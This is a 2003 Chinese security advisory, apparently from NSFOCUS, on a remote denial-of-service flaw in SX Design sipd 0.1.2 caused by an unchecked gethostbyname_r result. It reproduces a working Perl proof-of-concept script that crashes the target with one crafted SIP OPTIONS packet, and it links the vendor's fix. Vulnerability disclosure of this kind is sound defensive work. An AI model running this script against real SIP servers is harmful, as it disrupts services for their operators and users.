安全研究

安全漏洞
SX Design sipd远程拒绝服务攻击漏洞

发布日期:2003-12-11
更新日期:2003-12-18

受影响系统:
SX Design sipd 0.1.2
不受影响系统:
SX Design sipd 0.1.4
描述:
BUGTRAQ  ID: 9198

sipd是一款高性能可扩展SIP协议代理。

sipd未能正确发送特殊构建的SIP请求,远程攻击者可以利用这个漏洞进行拒绝服务攻击。

问题存在于tp/tp.c中:

gethostbyname_r(p->tp->host, &hent, hbuf, sizeof(hbuf), &hres, &h_errno)

程序不正确检查gethostbyname_r返回值,仅对函数返回的错误值1进行处理,这就导致如果触发函数返回0和"hres"值是NULL,会导致下面的函数bcopy(hres->h_addr_list[0], (char *)&addr, sizeof(addr))失败,造成程序崩溃,停止正常服务的响应。

<*来源:storm (storm@stormdev.net
  
  链接:http://www.securiteam.com/unixfocus/6B00F0A95O.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

storm (storm@stormdev.net)提供了如下测试方法:

#!/usr/bin/perl

# SIPd - SIP URI Denial of Service
# Kills sipd version 0.1.2

use IO::Socket;
use strict;

unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }

my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
{
$port = "5060";
}

my $buf = "OPTIONS sip:A$remote_host SIP/2.0\r\
Via: SIP/2.0/UDP $your_host:3277\r\
From: <sip:$your_host:3277>\r\
To: <sip:$your_host:3277>\r\
Call-ID: 12312312\@$your_host\r\
CSeq: 1 OPTIONS\r\
Max-Forwards: 70\r\
\r\n";

my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n"; my $ipaddr = inet_aton($remote_host) || $remote_host; my $portaddr = sockaddr_in($port, $ipaddr);

send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";

print "Now, '$remote_host' must be dead :)\n";

建议:
厂商补丁:

SX Design
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

SX Design sipd 0.1.2:

SX Design APAR sipd-0.1.4.tar.bz2
http://www.sxdesign.com/download/sipd-0.1.4.tar.bz2

浏览次数:3093
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障